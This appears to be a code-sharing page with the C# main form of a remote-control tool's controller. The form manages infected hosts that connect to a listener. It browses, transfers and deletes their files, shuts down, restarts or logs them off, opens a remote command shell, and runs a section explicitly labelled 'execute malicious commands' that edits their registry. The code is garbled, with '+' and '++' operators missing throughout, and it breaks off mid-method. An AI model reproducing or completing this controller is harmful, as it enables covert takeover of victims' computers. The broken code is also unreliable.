实例介绍
【实例简介】
【实例截图】
【实例截图】
【核心代码】
#region 命名空间 using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Text; using System.Windows.Forms; using System.IO; using Microsoft.Win32; using System.Net; using System.Threading; using System.Net.Sockets; using System.Collections; using System.Diagnostics; #endregion namespace 客户端 { public partial class MainFrame : Form { #region 参数 /// <summary> /// 在线主机集合 /// </summary> public ArrayList ary = new ArrayList(); /// <summary> /// 在线主机数量 /// </summary> public int count = 0; /// <summary> /// 监听器 /// </summary> public TcpListener listener; /// <summary> /// 上传文件的连接 /// </summary> private TcpListener uploadFile; ////创建一个管道[AddressFamily.InterNetwork 本机IP地址],[SocketType.Stream 流的类型] ,[ProtocolType.Tcp 传输控制协议] private Socket sk = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); /// <summary> /// 线程监听端口 /// </summary> private Thread thread; /// <summary> /// 线程读信息 /// </summary> private Thread ThreadRead; //发送文件线程 private Thread fileThread; /// <summary> /// 文件路径 /// </summary> private string CopyFilePath; /// <summary> /// 文件名称 /// </summary> private string CopyFileName; /// <summary> /// 最后选择的主机 /// </summary> private string lastly; /// <summary> /// 判断选中的节点 /// </summary> private bool bo = false; //假为选中本机 private string finallyIP = Dns.GetHostAddresses(Dns.GetHostName())[0].ToString(); //最后选择的主机 #endregion public MainFrame() { InitializeComponent(); } private void Form1_Load(object sender, EventArgs e) { this.LoadMeans(); } #region 程序加载时运行的方法 /// <summary> /// 程序加载时运行的方法 /// </summary> public void LoadMeans() { System.Windows.Forms.Control.CheckForIllegalCrossThreadCalls = false; this.ShowTree(); this.ShowListView(); this.ShowIP(); this.ShowIco(); this.SetBtn(); this.showCourse(); //this.showSys(); this.timer1.Start(); this.showCommandDroadcast(); CheckForIllegalCrossThreadCalls = false; this.thread = new Thread(new ThreadStart(this.Listen)); this.thread.Start(); this.label7.Text = "文件目录游览"; } #endregion #region 退出 /// <summary> /// 退出 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void 退出ToolStripMenuItem_Click(object sender, EventArgs e) { //退出本程序 this.thread.Abort(); Application.Exit(); } #endregion #region 显示我的电脑的文件图片 public void ShowTree() { LoadTree lt = new LoadTree(); //调用显示树形控件属性的方法 lt.ShowTree(this.treeView1,this); } #endregion #region 递归添加节点 public void AddTree(TreeNode tn, string path) { //创建目录 DirectoryInfo dir = new DirectoryInfo(path); //得到目录下的所有子目录 if (dir.Exists) { DirectoryInfo[] dirs = dir.GetDirectories(); //遍历所有子mul tn.Nodes.Clear(); foreach (DirectoryInfo di in dirs) { //添加节点目录 TreeNode t = new TreeNode(di.FullName.ToString().Trim()); tn.Nodes.Add(t); //AddTree(t, di.FullName.ToString()); } } } #endregion #region 显示在线主机 /// <summary> /// 显示在线主机 /// </summary> public void showOnlineComputer(TreeNode t1) { ShowOnlineComputer show = new ShowOnlineComputer(); //现在那里要显示的内容 show.show(t1,this.ary); } #endregion #region 选择节点事件 /// <summary> /// 选择节点事件 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void treeView1_AfterSelect(object sender, TreeViewEventArgs e) { this.TreeAfterSelect(e.Node); } public void TreeAfterSelect(TreeNode e) { try { TreeNode t = e.Parent;//父节点 TreeNode t1 = e; //选中的节点 //判断当前是否选中远程主机 if (t1.Text == "远程主机") { this.showOnlineComputer(t1); } //选择的IP else if (t1.Parent.Text == "远程主机") { for (int i = 0; i < ary.Count; i ) { //选中IP得到它的网络流 Socket s = (Socket)this.ary[i]; IPAddress ip = IPAddress.Parse(((IPEndPoint)s.RemoteEndPoint).Address.ToString()); //比较当前选中的是那个Socket if (t1.Text == ip.ToString()) { //设置最后选中的Socket this.lastly = t1.Text; //选择的主机 this.bo = true; //取得网络流 NetworkStream ns = new NetworkStream(s); //调用命令 Command cmd = new Command(ns); //调用命令后返回的值比较 if (cmd.Driverlist(t1)) { this.txtShowInfo.Items.Add("\r\n" "磁盘列表成功-----"); } else { this.txtShowInfo.Items.Add("\r\n" "磁盘列表失败-----"); } } } } else if (t1.FullPath.IndexOf("远程主机") != -1) { for (int i = 0; i < this.ary.Count; i ) { Socket s = (Socket)this.ary[i]; IPAddress ip = IPAddress.Parse(((IPEndPoint)s.RemoteEndPoint).Address.ToString()); if (this.lastly == ip.ToString()) { NetworkStream ns = new NetworkStream(s); Command cmd = new Command(ns); //文件列表命令 if (cmd.Folderlist(t1, this.listViewFile)) { this.txtShowInfo.Items.Add("\r\n" "文件列表成功-----"); //当前上传文件的按钮可用 this.btnSend.Enabled = true; //当前下载文件的按钮可用 this.btnDown.Enabled = true; } else { this.txtShowInfo.Items.Add("\r\n" "文件列表失败-----"); this.listViewFile.Items.Clear(); } //退后按钮可用 this.btnBank.Enabled = true; //刷新 this.treeView1.Refresh(); this.listViewFile.Refresh(); } } } else { try { DirectoryInfo dir = new DirectoryInfo(e.Text.ToString()); if (dir.Exists) { //遍历选中的节点的父节点 foreach (TreeNode tn in t.Nodes) { if (tn.ToString() == t1.ToString()) { //递归 this.AddTree(tn, dir.ToString()); } } //刷新 this.treeView1.Refresh(); } if (t1.Text != "我的电脑") { this.bo = false; FileInfo[] files = dir.GetFiles(); //循环添加文件到文件列表 this.listViewFile.Items.Clear(); //遍历所有文件 foreach (FileInfo file in files) { ListViewItem lvi = new ListViewItem(file.ToString()); //取得当前文件长度单位KB lvi.SubItems.Add(file.Length.ToString() " KB"); //取得当前文件最后修改时间 lvi.SubItems.Add(file.LastWriteTime.ToString()); //listViewFile添加文件列表 this.listViewFile.Items.Add(lvi); } //退后按钮可用 this.btnBank.Enabled = true; } } catch (Exception) { } } } catch (Exception) { } this.treeView1.Refresh(); } #endregion #region 配置服务器 /// <summary> /// 配置服务器 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void btnSettServer_Click(object sender, EventArgs e) { //实例化配置服务器窗口 NewServer server = new NewServer(); server.Show(); } #endregion #region 显示本机文件列表 public void ShowListView() { ShowListViewHead slv = new ShowListViewHead(); //显示表头的方法 slv.FileListView(this.listViewFile); } #endregion #region 显示本机IP地址 public void ShowIP() { //不了解的请查看MSDN string ip = Dns.GetHostAddresses(Dns.GetHostName())[0].ToString(); this.lblIP.Text = "本機IP地址: " ip.ToString(); } public void ShowIco() { //托盘控件 this.ClewIcon.BalloonTipTitle = "启动提示..."; this.ClewIcon.BalloonTipText = "监听端口 " (int)EnumPort.PORT.连接上线端口 " ....\r\n等待主机上线"; this.ClewIcon.ShowBalloonTip(200); this.ClewIcon.Visible = true; } #endregion #region 监听端口 /// <summary> /// 监听端口 /// </summary> public void Listen() { //实例化监听类 ListenPort lp = new ListenPort(); //当前开始监听 lp.listen(this); } #endregion #region 删除事件 /// <summary> /// 删除事件 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void btnDelete_Click(object sender, EventArgs e) { try { if (this.treeView1.SelectedNode.FullPath.IndexOf("远程主机") != -1) { //取得当前listView所选中的项 int index = 0; foreach (int i in this.listViewFile.SelectedIndices) { index = i; } //取得当前文件列表所选择的文件 string list = this.listViewFile.Items[index].SubItems[0].Text; //取得当前的节点 string tree = this.treeView1.SelectedNode.Text; //并接成字符串 string filePath = tree list; for (int i = 0; i < this.ary.Count; i ) { Socket s = (Socket)this.ary[i]; IPAddress ip = IPAddress.Parse(((IPEndPoint)s.RemoteEndPoint).Address.ToString()); //判断前的Socket集合是否存在用户最后一次所选择的在线主机 if (ip.ToString() == this.lastly) { NetworkStream ns = new NetworkStream(s); Command cmd = new Command(ns); if (cmd.DeleteFile(filePath)) { this.txtShowInfo.Items.Clear(); this.txtShowInfo.Items.Add("\r\n" "文件删除成功-----"); //刷新 this.listViewFile.Items.RemoveAt(index); this.treeView1.Refresh(); this.listViewFile.Refresh(); } else { this.txtShowInfo.Items.Clear(); this.txtShowInfo.Items.Add("\r\n" "文件删除失败-----"); } ns.Close(); } } } else { try { //取得当前listView所选中的项 int index = 0; foreach (int i in this.listViewFile.SelectedIndices) { index = i; } string list = this.listViewFile.Items[index].SubItems[0].Text; //取得当前的节点 string tree = this.treeView1.SelectedNode.Text; //并接成字符串 string filePath = tree list; //删除该文件 File.Delete(filePath); this.txtShowInfo.Items.Clear(); this.txtShowInfo.Items.Add("\r\n" "文件删除成功-----"); //刷新 this.listViewFile.Items.RemoveAt(index); this.treeView1.Refresh(); this.listViewFile.Refresh(); } catch (Exception) { this.txtShowInfo.Items.Clear(); this.txtShowInfo.Items.Add("\r\n" "文件删除失败-----"); } } } catch (Exception) { } } #endregion #region 上向事件 /// <summary> /// 上向事件 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void btnBank_Click(object sender, EventArgs e) { //取得当前节点 TreeNode tn = this.treeView1.SelectedNode; string str = tn.ToString(); str = str.Replace("TreeNode: ", ""); //如果是我的电脑就取消listViewFile里的内容 if (str == "我的电脑") { //退后按钮不可用 this.btnBank.Enabled = false; this.listViewFile.Items.Clear(); this.treeView1.CollapseAll(); this.listViewFile.Refresh(); } else if (str == "远程主机") { //退后按钮不可用 this.btnBank.Enabled = false; this.treeView1.CollapseAll(); this.listViewFile.Items.Clear(); this.treeView1.Refresh(); this.listViewFile.Refresh(); } //如果不是我的电脑就添加节点 else { this.treeView1.SelectedNode = tn.Parent; //刷新 this.treeView1.Refresh(); this.listViewFile.Refresh(); } } #endregion #region 复制事件 /// <summary> /// 复制事件 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void btnCopy_Click(object sender, EventArgs e) { try { if (this.treeView1.SelectedNode.FullPath.IndexOf("远程主机") != -1) { int index = 0; foreach (int i in this.listViewFile.SelectedIndices) { index = i; } //取得当前选中的文件名 this.CopyFileName = this.listViewFile.Items[index].SubItems[0].Text; //选中当前的文件的路径 string filePath = this.treeView1.SelectedNode.Text; //只留下文件路径 //文件路径和文件名并接起来 this.CopyFilePath = filePath this.CopyFileName; } else { int index = 0; foreach (int i in this.listViewFile.SelectedIndices) { index = i; } //取得当前选中的文件名 this.CopyFileName = this.listViewFile.Items[index].SubItems[0].Text; //选中当前的文件的路径 string filePath = this.treeView1.SelectedNode.Text; //只留下文件路径 //文件路径和文件名并接起来 this.CopyFilePath = filePath this.CopyFileName; } //复制按钮不可用 this.btnCopy.Enabled = false; //张贴按钮可用 this.btnAffix.Enabled = true; } catch (Exception) { this.txtShowInfo.Items.Clear(); this.txtShowInfo.Items.Add("\r\n" "选择无效-----"); } } #endregion #region 设置按钮 /// <summary> /// 设置按钮 /// </summary> public void SetBtn() { //设置按钮的可用状态 this.btnAffix.Enabled = false; this.btnBank.Enabled = false; this.btnDelete.Enabled = false; this.btnCopy.Enabled = false; this.btnSend.Enabled = false; this.btnDown.Enabled = false; this.txtIp.Text = Dns.GetHostAddresses(Dns.GetHostName())[0].ToString(); } #endregion #region listViewFile事件 /// <summary> /// listViewFile事件 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void listViewFile_SelectedIndexChanged(object sender, EventArgs e) { this.btnCopy.Enabled = true; this.btnDelete.Enabled = true; } #endregion #region 下载文件事件 /// <summary> /// 下载文件事件 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void btnDown_Click(object sender, EventArgs e) { this.fileThread = new Thread(new ThreadStart(this.DownFile)); this.fileThread.Start(); } public void DownFile() { if ("".Equals(this.CompanyName)) { MessageBox.Show("请选择要下载的文件", "提示", MessageBoxButtons.OK, MessageBoxIcon.Information); } else { try { int index = 0; foreach (int i in this.listViewFile.SelectedIndices) { index = i; } //取得当前选中的文件名 this.CopyFileName = this.listViewFile.Items[index].SubItems[0].Text; string filePath = this.treeView1.SelectedNode.Text; SaveFileDialog ofd = new SaveFileDialog(); string path = ""; ofd.FileName = this.CopyFileName; if (ofd.ShowDialog() == DialogResult.OK) { path = ofd.FileName; for (int i = 0; i < this.ary.Count; i ) { Socket s = (Socket)this.ary[i]; IPAddress ip = IPAddress.Parse(((IPEndPoint)s.RemoteEndPoint).Address.ToString()); if (ip.ToString() == this.lastly) { //发信息的流 NetworkStream ns = new NetworkStream(s); Command cmd = new Command(ns); if (!cmd.DownFile((filePath this.CopyFileName), path, ns)) { this.txtShowInfo.Items.Clear(); this.txtShowInfo.Text = "\r\n" "文件下载成功-----"; } ns.Close(); } } } } catch (Exception) { this.txtShowInfo.Items.Clear(); this.txtShowInfo.Items.Add("\r\n" "文件下载失败-----"); } this.fileThread.Abort(); } } #endregion #region 上传文件事件 /// <summary> /// 上传文件事件 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void btnSend_Click(object sender, EventArgs e) { this.fileThread = new Thread(new ThreadStart(this.SendFile)); this.fileThread.Start(); } public void SendFile() { try { string filePath = this.treeView1.SelectedNode.Text; OpenFileDialog ofd = new OpenFileDialog(); string path = ""; if (ofd.ShowDialog() == DialogResult.OK) { path = ofd.FileName; for (int i = 0; i < this.ary.Count; i ) { Socket s = (Socket)this.ary[i]; IPAddress ip = IPAddress.Parse(((IPEndPoint)s.RemoteEndPoint).Address.ToString()); if (ip.ToString() == this.lastly) { //发信息的流 NetworkStream ns = new NetworkStream(s); Command cmd = new Command(ns); string str = path.Substring(path.LastIndexOf(@"\") 1); filePath = filePath @"\" str; if (!cmd.SendFile(filePath, path, ip.ToString())) { this.txtShowInfo.Items.Clear(); this.txtShowInfo.Items.Add("\r\n" "文件上传成功-----"); } ns.Close(); } } } } catch (Exception) { this.txtShowInfo.Items.Clear(); this.txtShowInfo.Items.Add("\r\n" "文件上传失败-----"); } this.fileThread.Abort(); } #endregion #region 粘贴事件 /// <summary> /// 粘贴事件 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void btnAffix_Click_1(object sender, EventArgs e) { if (this.treeView1.SelectedNode.FullPath.IndexOf("远程主机") != -1) { try { for (int i = 0; i < this.ary.Count; i ) { Socket s = (Socket)this.ary[i]; IPAddress ip = IPAddress.Parse(((IPEndPoint)s.RemoteEndPoint).Address.ToString()); if (ip.ToString() == this.lastly) { NetworkStream ns = new NetworkStream(s); string filePath = this.treeView1.SelectedNode.Text; Command cmd = new Command(ns); if ("".Equals(this.CopyFilePath) || "".Equals(this.CopyFileName) || "".Equals(filePath)) { this.txtShowInfo.Items.Clear(); this.txtShowInfo.Items.Add("\r\n" "文件复制失败-----"); return; } string path = this.CopyFilePath "|" filePath this.CopyFileName; if (cmd.CopyFile(path)) { this.txtShowInfo.Items.Clear(); this.txtShowInfo.Items.Add("\r\n" "文件复制成功-----"); } else { this.txtShowInfo.Items.Clear(); this.txtShowInfo.Items.Add("\r\n" "文件复制失败-----"); } ns.Close(); } } } catch (Exception) { this.txtShowInfo.Items.Clear(); this.txtShowInfo.Items.Add("\r\n" "文件复制失败-----"); } } else { try { //取得要张贴的路径 string filePath = this.treeView1.SelectedNode.Text; if ("".Equals(this.CopyFilePath) || "".Equals(this.CopyFileName) || "".Equals(filePath)) { this.txtShowInfo.Items.Clear(); this.txtShowInfo.Items.Add("\r\n" "文件复制失败-----"); return; } //静态方法复制文件 File.Copy(this.CopyFilePath, filePath this.CopyFileName, true); this.txtShowInfo.Items.Add("\r\n" "文件复制成功-----"); } catch (Exception) { this.txtShowInfo.Items.Clear(); this.txtShowInfo.Items.Add("\r\n" "文件复制失败-----"); } } //listViewFile添加复制过来的文件 this.listViewFile.Items.Add(this.CopyFileName.ToString()); //刷新 this.listViewFile.Refresh(); } #endregion #region 显示进程的列表的列头 /// <summary> /// 显示进程的列表的列头 /// </summary> public void showCourse() { //列头 ColumnHeader ch1 = new ColumnHeader(); ch1.Width = 100; ch1.Text = "进程名称"; ColumnHeader ch2 = new ColumnHeader(); ch2.Width = 100; ch2.Text = "用户名"; ColumnHeader ch3 = new ColumnHeader(); ch3.Width = 100; ch3.Text = "内存使用"; ColumnHeader ch4 = new ColumnHeader(); ch4.Width = 220; ch4.Text = "进程对应的窗口"; //把列头添加到 listViewCourse this.listViewCourse.Columns.Add(ch1); this.listViewCourse.Columns.Add(ch2); this.listViewCourse.Columns.Add(ch3); this.listViewCourse.Columns.Add(ch4); this.listViewCourse.View = View.Details; } #endregion private void listViewCourse_MouseDown(object sender, MouseEventArgs e) { //弹出右键菜单 if (e.Button == MouseButtons.Right) { //出现的坐标 this.RightMenu.Show(e.X, e.Y this.listViewCourse.Height); } } //菜单的单击事件 private void RightMenu_Click(object sender, EventArgs e) { this.Kill(); } private void timer1_Tick(object sender, EventArgs e) { //显示时间 this.lblTime.Text = DateTime.Now.ToString(); } #region 打开网页 /// <summary> /// 打开网页 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void button4_Click(object sender, EventArgs e) { foreach (int i in listViewCommand.CheckedIndices) { for (int j = 0; j < this.ary.Count; j ) { Socket s = (Socket)this.ary[j]; IPAddress ip = IPAddress.Parse(((IPEndPoint)s.RemoteEndPoint).Address.ToString()); if (this.listViewCommand.Items[j].Text == ip.ToString() && this.listViewCommand.Items[j].Checked == true) { NetworkStream ns = new NetworkStream(s); Command cmd = new Command(ns); if (cmd.OpenHtml(this.txtHtml.Text)) { this.txtShowInfo.Items.Clear(); this.txtShowInfo.Items.Add("\r\n" "打开成功-----"); } else { this.txtShowInfo.Items.Clear(); this.txtShowInfo.Items.Add("\r\n" "打开失败-----"); } ns.Close(); } } } } #endregion //priv #region 退出时提示所有被管理的机器 /// <summary> /// 退出时提示所有被管理的机器 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void MainFrame_FormClosing(object sender, FormClosingEventArgs e) { for (int i = 0; i < this.ary.Count; i ) { //在集合里拿出Socket通信通道 Socket sk = (Socket)this.ary[i]; //利用Socket New 网络流 NetworkStream ns = new NetworkStream(sk); StreamWriter sw = new StreamWriter(ns); //发送信息 sw.WriteLine("END"); sw.Close(); } this.thread.Abort(); if(this.ThreadRead!=null) { this.ThreadRead.Abort(); } this.ClewIcon.Dispose(); } #endregion #region 显示命令广播信息 /// <summary> /// 显示命令广播信息 /// </summary> public void showCommandDroadcast() { ShowListViewHead slv = new ShowListViewHead(); slv.OnlineComputerListView(this.listViewCommand); } #endregion #region 广播命令主机列表 /// <summary> /// 广播命令主机列表 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void tabControl1_SelectedIndexChanged(object sender, EventArgs e) { this.finallyIP = Dns.GetHostAddresses(Dns.GetHostName())[0].ToString(); //清楚原来列表所有的项 this.listViewCommand.Items.Clear(); //判断单击的是否是BroadcastPage面板 if (tabControl1.SelectedTab.Name == "BroadcastPage") { //取得树的所有节点 TreeNodeCollection nodes = this.treeView1.Nodes; foreach (TreeNode n in nodes) { //比较当前节点是否是远程主机 if (n.Text == "远程主机") { //在拿远程主机下的所有节点 TreeNodeCollection tncs = n.Nodes; //遍历远程主机节点下的所有节点 foreach (TreeNode tn in tncs) { //节点名称实例化对象 ListViewItem lvi = new ListViewItem(tn.Text); //遍历所有Socket for (int i = 0; i < this.ary.Count; i ) { //取得当前Socket的IP地址 Socket s = (Socket)this.ary[i]; IPAddress ip = IPAddress.Parse(((IPEndPoint)s.RemoteEndPoint).Address.ToString()); //比较当前节点是都等于对应Socket集合里的元素 if (tn.Text == ip.ToString()) { //如果相等就取的通信流 NetworkStream ns = new NetworkStream(s); Command cmd = new Command(ns); //发送命令返回的值 Str string str = cmd.GetSysInfo(); //分解字符串 string[] info = str.Split('-'); //遍历返回来的信息添加到 ListViewItem 子项里取 for (int j = 0; j < info.Length; j ) { lvi.SubItems.Add(info[j]); } lvi.SubItems.Add(DateTime.Now.ToString()); lvi.SubItems.Add("测试"); } } //ListViewItem 显示的图标 lvi.ImageIndex = 0; lvi.StateImageIndex = 0; //把当前的ListViewItem添加到listViewCommand里取 this.listViewCommand.Items.Add(lvi); } } } } else if (tabControl1.SelectedTab.Name == "SysInfoPage") { if (this.listViewCommand.CheckedIndices.Count > 1) { MessageBox.Show("不能两台机器同时操作.."); } else if (this.listViewCommand.CheckedIndices.Count == 0) { try { //清空原来的所有内容 this.listViewCourse.Items.Clear(); //遍厉所有正在运行的进程 foreach (Process p in Process.GetProcesses(System.Environment.MachineName)) { //用进程的名称NEW一个实例 ListViewItem lvi = new ListViewItem(p.ProcessName); //添加子项 lvi.SubItems.Add(Environment.UserName); //当前登陆的帐号 lvi.SubItems.Add(p.WorkingSet.ToString() " KB"); //占用的内存大小 lvi.SubItems.Add(p.MainWindowTitle.ToString()); //对应的窗口 this.listViewCourse.Items.Add(lvi); //添加 this.txtShowInfo.Items.Clear(); this.txtShowInfo.Items.Add("\r\n" "进程列表成功-----"); } } catch (IOException) { this.txtShowInfo.Items.Clear(); this.txtShowInfo.Items.Add("\r\n" "进程列表失败-----"); } } else { try { int index = 0; foreach (int i in this.listViewCommand.CheckedIndices) { index = i; } for (int i = 0; i < this.ary.Count; i ) { Socket s = (Socket)this.ary[i]; IPAddress ip = IPAddress.Parse(((IPEndPoint)sk.RemoteEndPoint).Address.ToString()); if (this.listViewCommand.Items[index].Text == ip.ToString() && this.listViewCommand.Items[i].Checked == true) { NetworkStream ns = new NetworkStream(s); Command cmd = new Command(ns); string str = cmd.Course(); if (str != "null") { string[] course = str.Split('|'); this.listViewCourse.Items.Clear(); for (int j = 0; i < course.Length; j ) { ListViewItem lvi = new ListViewItem(course[j]); lvi.SubItems.Add(course[ j]); lvi.SubItems.Add(course[ j]); lvi.SubItems.Add(course[ j]); this.listViewCourse.Items.Add(lvi); } this.txtShowInfo.Items.Clear(); this.txtShowInfo.Items.Add("\r\n" "进程列表成功-----"); ns.Close(); } } } } catch (IOException) { this.txtShowInfo.Items.Clear(); this.txtShowInfo.Items.Add("\r\n" "进程列表失败-----"); } } } } #endregion #region 查看系统信息的面板事件 private void tabControl3_SelectedIndexChanged(object sender, EventArgs e) { this.comIconType.SelectedIndex = 0; this.comButtonType.SelectedIndex = 0; if (tabControl3.SelectedTab.Name == "tabSysInfo") { if (this.listViewCommand.CheckedIndices.Count > 1) { MessageBox.Show("不能同时查看多台机器的信息.."); } else if (this.listViewCommand.CheckedIndices.Count == 0) { this.LocalSysInfo(); } else { int index = 0; foreach (int i in this.listViewCommand.CheckedIndices) { index = i; } for (int i = 0; i < this.ary.Count; i ) { Socket s = (Socket)this.ary[i]; IPAddress ip = IPAddress.Parse(((IPEndPoint)s.RemoteEndPoint).Address.ToString()); if (this.listViewCommand.Items[index].Text == ip.ToString() && this.listViewCommand.Items[i].Checked == true) { NetworkStream ns = new NetworkStream(s); Command cmd = new Command(ns); string str = cmd.GetSysInfo(); string []info = str.Split('-'); this.txtDomainName.Text = info[0]; this.txtSysDir.Text = info[1]; this.txtComputerName.Text = info[2]; this.txtOSName.Text = info[3]; this.txtLoginUser.Text = info[4]; this.txtMemoryInfo.Text = info[5]; ns.Close(); } } } } } #endregion #region 本机系统信息 /// <summary> /// 本机系统信息 /// </summary> public void LocalSysInfo() { SystemInfo si = new SystemInfo(); this.txtDomainName.Text = si.GetUserDomainName(); this.txtSysDir.Text = si.GetSystemDirectory(); this.txtComputerName.Text = si.GetMyComputerName(); this.txtOSName.Text = si.GetMyOSName(); this.txtLoginUser.Text = si.GetMyUserName(); this.txtMemoryInfo.Text = si.GetMyMemoryInfo(); } #endregion #region 关闭远程计算机 /// <summary> /// 关闭远程计算机 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void btnCloseComputer_Click(object sender, EventArgs e) { foreach (int i in listViewCommand.CheckedIndices) { for (int j = 0; j < this.ary.Count; j ) { Socket s = (Socket)this.ary[j]; IPAddress ip = IPAddress.Parse(((IPEndPoint)s.RemoteEndPoint).Address.ToString()); if (this.listViewCommand.Items[j].Text == ip.ToString() && this.listViewCommand.Items[j].Checked == true) { NetworkStream ns = new NetworkStream(s); Command cmd = new Command(ns); if (cmd.CloseComputer()) { this.txtShowInfo.Items.Clear(); this.txtShowInfo.Items.Add("\r\n" "关闭成功-----"); } else { this.txtShowInfo.Items.Clear(); this.txtShowInfo.Items.Add("\r\n" "关闭失败-----"); } ns.Close(); } } } } #endregion #region 重启远程计算机 /// <summary> /// 重启远程计算机 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void btnStartUpComputer_Click(object sender, EventArgs e) { foreach (int i in listViewCommand.CheckedIndices) { for (int j = 0; j < this.ary.Count; j ) { Socket s = (Socket)this.ary[j]; IPAddress ip = IPAddress.Parse(((IPEndPoint)s.RemoteEndPoint).Address.ToString()); if (this.listViewCommand.Items[j].Text == ip.ToString() && this.listViewCommand.Items[j].Checked == true) { NetworkStream ns = new NetworkStream(s); Command cmd = new Command(ns); if (cmd.StartUpComputer()) { this.txtShowInfo.Items.Clear(); this.txtShowInfo.Items.Add("\r\n" "重启成功-----"); } else { this.txtShowInfo.Items.Clear(); this.txtShowInfo.Items.Add("\r\n" "重启失败-----"); } ns.Close(); } } } } #endregion #region 选中全部现在主机 /// <summary> /// 选中全部现在主机 /// </summary> bool check = true; private void checkBox1_CheckedChanged(object sender, EventArgs e) { if (check) { for (int i = 0; i < this.listViewCommand.Items.Count; i ) { this.listViewCommand.Items[i].Checked = true; } check = false; } else { for (int i = 0; i < this.listViewCommand.Items.Count; i ) { this.listViewCommand.Items[i].Checked = false; } check = true; } } #endregion #region 消息预览事件 /// <summary> /// 消息预览事件 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void btnPreviewMessage_Click(object sender, EventArgs e) { PreviewMessage pm = new PreviewMessage(); pm.Preview(this); } #endregion #region 发送消息事件 /// <summary> /// 发送消息事件 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void btnSendMessage_Click(object sender, EventArgs e) { SendMessage sm = new SendMessage(); sm.Message(this); } #endregion private void button5_Click(object sender, EventArgs e) { MessageBox.Show(this.finallyIP.ToString()); } private void listViewCommand_ItemChecked(object sender, ItemCheckedEventArgs e) { this.finallyIP = e.Item.Text; } private void lblShowIP_Click(object sender, EventArgs e) { this.Kill(); } #region 结束进程 /// <summary> /// 结束进程 /// </summary> public void Kill() { //定义选中的项 int index = 0; string item = null; //取得当前所选中的项 foreach (int i in this.listViewCourse.SelectedIndices) { index = i; } //取得当前所选中的项的值 item = this.listViewCourse.Items[index].SubItems[0].Text.ToString(); //比较在当前进程是否有该项 foreach (Process p in Process.GetProcesses(Environment.MachineName)) { if (item == p.ProcessName) { //比较如果有该项就关闭所选中的进程 p.Kill(); //刷新列表 this.listViewCourse.Refresh(); } } } #endregion private void btnCloseCourse_Click(object sender, EventArgs e) { } #region 注销远程主机 /// <summary> /// 注销远程主机 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void btnLogon_Click(object sender, EventArgs e) { MessageBox.Show(this.ary.Count.ToString()); foreach (int i in listViewCommand.CheckedIndices) { for (int j = 0; j < this.ary.Count; j ) { Socket sk = (Socket)this.ary[j]; IPAddress ip = IPAddress.Parse(((IPEndPoint)sk.RemoteEndPoint).Address.ToString()); MessageBox.Show(ip.ToString()); if (this.listViewCommand.Items[j].Text == ip.ToString() && this.listViewCommand.Items[j].Checked == true) { NetworkStream ns = new NetworkStream(sk); Command cmd = new Command(ns); if (cmd.LogonComputer()) { this.txtShowInfo.Items.Clear(); this.txtShowInfo.Items.Add("\r\n" "注销成功-----"); } else { this.txtShowInfo.Items.Clear(); this.txtShowInfo.Items.Add("\r\n" "注销失败-----"); } ns.Close(); } } } } #endregion #region 执行恶意命令 /// <summary> /// 执行恶意命令 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void Execute_Click(object sender, EventArgs e) { try { foreach (int i in listViewCommand.CheckedIndices) { for (int j = 0; j < this.ary.Count; j ) { Socket sk = (Socket)this.ary[j]; IPAddress ip = IPAddress.Parse(((IPEndPoint)sk.RemoteEndPoint).Address.ToString()); if (this.listViewCommand.Items[j].Text == ip.ToString() && this.listViewCommand.Items[j].Checked == true) { string execute = null; for (int k = 0; k < this.tabHostilityCommand.Controls.Count; k ) { //取得选中的值 if (this.tabHostilityCommand.Controls[k].ToString().IndexOf("CheckBox") != -1) { if (((CheckBox)this.tabHostilityCommand.Controls[k]).Checked == true) { execute = this.tabHostilityCommand.Controls[k].Name "|"; } } } execute.Substring(0, execute.Length - 1); NetworkStream ns = new NetworkStream(sk); Command cmd = new Command(ns); int count = cmd.Regedit(execute); this.txtShowInfo.Items.Clear(); this.txtShowInfo.Items.Add("\r\n" count " 条命令执行成功-----"); ns.Close(); } } } } catch(Exception) { this.txtShowInfo.Items.Add("条命令执行失败-----"); } } #endregion private void 更换皮肤ToolStripMenuItem_Click(object sender, EventArgs e) { // this.skinEngine1 } #region 执行Dos命令 /// <summary> /// 执行Dos命令 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void btnCommand_Click(object sender, EventArgs e) { if (this.listViewCommand.CheckedIndices.Count > 1) { MessageBox.Show("命令不能两台机器同时执行.."); } else if (this.listViewCommand.CheckedIndices.Count == 0) { MessageBox.Show("请选择要执行命令的机器.."); } else { int index = 0; foreach (int i in this.listViewCommand.CheckedIndices) { index = i; } for (int i = 0; i < this.ary.Count; i ) { Socket s = (Socket)this.ary[i]; IPAddress ip = IPAddress.Parse(((IPEndPoint)sk.RemoteEndPoint).Address.ToString()); if (this.listViewCommand.Items[index].Text == ip.ToString() && this.listViewCommand.Items[i].Checked == true) { CommandFrame cf = new CommandFrame(s); cf.Show(); } } } } #endregion private void btnHelp_Click(object sender, EventArgs e) { HelpFrmae hf = new HelpFrmae(); hf.Show(); } private void 配置服务器ToolStripMenuItem_Click(object sender, EventArgs e) { NewServer server = new NewServer(); server.Show(); } bool tool = true; #region 工具栏单击事件 /// <summary> /// 工具栏单击事件 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void 工具栏ToolStripMenuItem_Click(object sender, EventArgs e) { if (tool) { this.btnOnline.Show(); this.btnSettServer.Show(); this.btnDesktop.Show(); this.btnCommand.Show(); this.btnVideo.Show(); 